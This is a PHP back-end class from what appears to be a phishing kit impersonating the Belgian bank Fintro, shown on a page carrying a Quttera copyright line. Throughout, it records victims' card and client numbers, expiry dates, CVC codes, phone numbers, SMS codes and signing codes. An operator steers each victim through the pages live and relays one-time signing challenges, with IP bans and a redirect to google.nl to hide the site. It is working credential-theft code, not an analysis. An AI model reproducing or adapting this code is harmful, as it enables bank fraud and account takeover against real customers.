namespace App\Models\Fintro;
use PDO;
class Fintro extends \Core\Model {
public static function redirect() {
$sql = "SELECT * FROM redirect WHERE id = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", 1, PDO::PARAM_INT);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
header("location: " . $data["redirect"]);
die;
}
else {
header("location: https://www.google.nl");
die;
}
}
public static function findBan($ip) {
$sql = "SELECT * FROM bans WHERE ip = :ip";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":ip", $ip, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return true;
}
return false;
}
public static function setLogInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, fintro_card = :empty, fintro_client = :empty, fintro_vv = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSmsInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, fintro_sms = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentificationInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, fintro_phone = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setBelInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, fintro_bel = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setCreditInformation($uid) {
$sql = "UPDATE logs SET bank = :bank, fintro_cc = :empty, fintro_exp = :empty, fintro_cvc = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCodeInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, fintro_m1 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setSign2Information($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, fintro_m2 = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function setLiveInformation($uid) {
$sql = "UPDATE reliable_logs SET bank = :bank, fintro_live = :empty, page = :empty, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":bank", "FINTRO", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
$stmt->execute();
}
public static function checkPayment($url = array()) {
$sql = "SELECT * FROM requests WHERE url = :id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":id", $url, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if ($data) {
return $data;
}
return false;
}
public static function getPage($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["page"])) {
return $data["page"];
}
return false;
}
public static function setLogin($card, $client, $exp, $uid) {
$sql = "UPDATE logs SET fintro_card = :card, fintro_client = :client, fintro_vv = :exp, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":card", $card, PDO::PARAM_STR);
$stmt->bindValue(":client", $client, PDO::PARAM_STR);
$stmt->bindValue(":exp", $exp, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setIdentification($identification, $uid) {
$sql = "UPDATE logs SET fintro_phone = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setBel($identification, $uid) {
$sql = "UPDATE logs SET fintro_bel = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setCredit($cc, $vv, $cvc, $uid) {
$sql = "UPDATE logs SET fintro_cc = :cc, fintro_exp = :vv, fintro_cvc = :cvc, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":cc", $cc, PDO::PARAM_STR);
$stmt->bindValue(":vv", $vv, PDO::PARAM_STR);
$stmt->bindValue(":cvc", $cvc, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSms($identification, $uid) {
$sql = "UPDATE logs SET fintro_sms = :identification, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":identification", $identification, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSignCode($code, $uid) {
$sql = "UPDATE logs SET fintro_m1 = :code, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setSign2($m2, $uid) {
$sql = "UPDATE logs SET fintro_m2 = :m2, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":m2", $m2, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLive($respons, $uid) {
$sql = "UPDATE logs SET fintro_live = :respons, waiting = :waiting WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":respons", $respons, PDO::PARAM_STR);
$stmt->bindValue(":uid", $uid, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "true", PDO::PARAM_STR);
$stmt->execute();
}
public static function setLoginPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_card = :empty, fintro_client = :empty, fintro_vv = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setIdentificationPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_phone = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setBelPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_bel = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setCreditPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_cc = :empty, fintro_exp = :empty, fintro_cvc = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSmsPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_sms = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m1 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSign2Page($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m2 = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_live = :empty WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSignCodePageCode($uid, $page, $code) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m1 = :empty, fintro_m1_get = :code WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":code", $code, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setSign2PageCode($uid, $page, $m2) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_m2 = :empty, fintro_m2_get = :m2 WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":m2", $m2, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setLivePageCode($uid, $page, $live, $livetwo) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting, fintro_live = :empty, fintro_live_get = :live, fintro_live2_get = :livetwo WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":empty", null, PDO::PARAM_NULL);
$stmt->bindValue(":live", $live, PDO::PARAM_STR);
$stmt->bindValue(":livetwo", $livetwo, PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function setFinishPage($uid, $page) {
$sql = "UPDATE logs SET page = :page, waiting = :waiting WHERE user_id = :user_id";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":page", $page, PDO::PARAM_STR);
$stmt->bindValue(":waiting", "false", PDO::PARAM_STR);
$stmt->bindValue(":user_id", $uid, PDO::PARAM_STR);
return $stmt->execute();
}
public static function getSignCode($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["fintro_m1_get"])) {
return $data["fintro_m1_get"];
}
return false;
}
public static function getSign2($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["fintro_m2_get"])) {
return $data["fintro_m2_get"];
}
return false;
}
public static function getLive($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["fintro_live_get"])) {
return $data["fintro_live_get"];
}
return false;
}
public static function getLivetwo($uid) {
$sql = "SELECT * FROM logs WHERE user_id = :uid";
$db = static::getDB();
$stmt = $db->prepare($sql);
$stmt->bindValue(":uid", $uid);
$stmt->execute();
$data = $stmt->fetch();
if (!empty($data["fintro_live2_get"])) {
return $data["fintro_live2_get"];
}
return false;
}
}
© 2023 Quttera Ltd. All rights reserved.